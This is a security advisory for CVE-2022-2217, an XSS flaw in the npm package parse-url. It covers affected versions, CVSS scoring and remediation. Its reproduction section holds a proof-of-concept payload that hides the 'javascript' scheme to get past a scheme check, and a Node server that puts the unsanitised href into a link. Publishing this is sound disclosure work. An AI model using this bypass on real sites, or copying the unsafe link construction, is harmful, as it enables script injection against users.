---
title: "CX-2022-5032"
date: "2022-09-12T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2022-5032/"
---

# CX-2022-5032

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

CVE-2022-2217  **Published:** Sep 12, 2022

CWE-79 CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')  6.1 Medium Severity cross javascript js npm scripting site XSS

@ @amammad  Reported by Checkmarx Zero

Details Overview

## Summary

Cross-site Scripting (XSS) in parse-url.

## Product

parse-url prior to version 6.0.0 and in 6.0.2.

## Impact

Attackers with this vulnerability can easily place any malicious JS code on webpages

## Steps to reproduce

```const
const parseUrl = require("parse-url");
const url =  parseUrl('javu000Dascript://%0aalert(1)');
console.log(url)
const server = http.createServer((request, response) => {
    response.writeHead(200);
    if (url.scheme !== "javascript" && url.scheme !== null) {
        response.end("<a href='" + url.href + "'>Wowww!</a>" );
    }
    else{
        response.end("Nooo!");
    }
});
server.listen(80, "127.0.0.1",function(){
    console.log("http://"+this.address().address+":"+this.address().port);
});
```

## Remediation

Update parse-url to version 6.0.0 or 6.0.3.

## Credit

This issue was reported by @amammad through huntr.dev.

## Resources

1. [21c72ab](https://github.com/IonicaBizau/parse-url/commit/21c72ab9412228eea753e2abc48f8962707b1fe3)
2. [Disclosure](https://huntr.dev/bounties/4e046c63-b1ca-4bcc-b418-29796918a71b/)
3. [Advisory](https://github.com/advisories/GHSA-q6wq-5p59-983w)

0  Medium Severity CVSS v3.1 Score

   6.1

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None

Advisory Timeline1. Disclosed Jun 7, 2022

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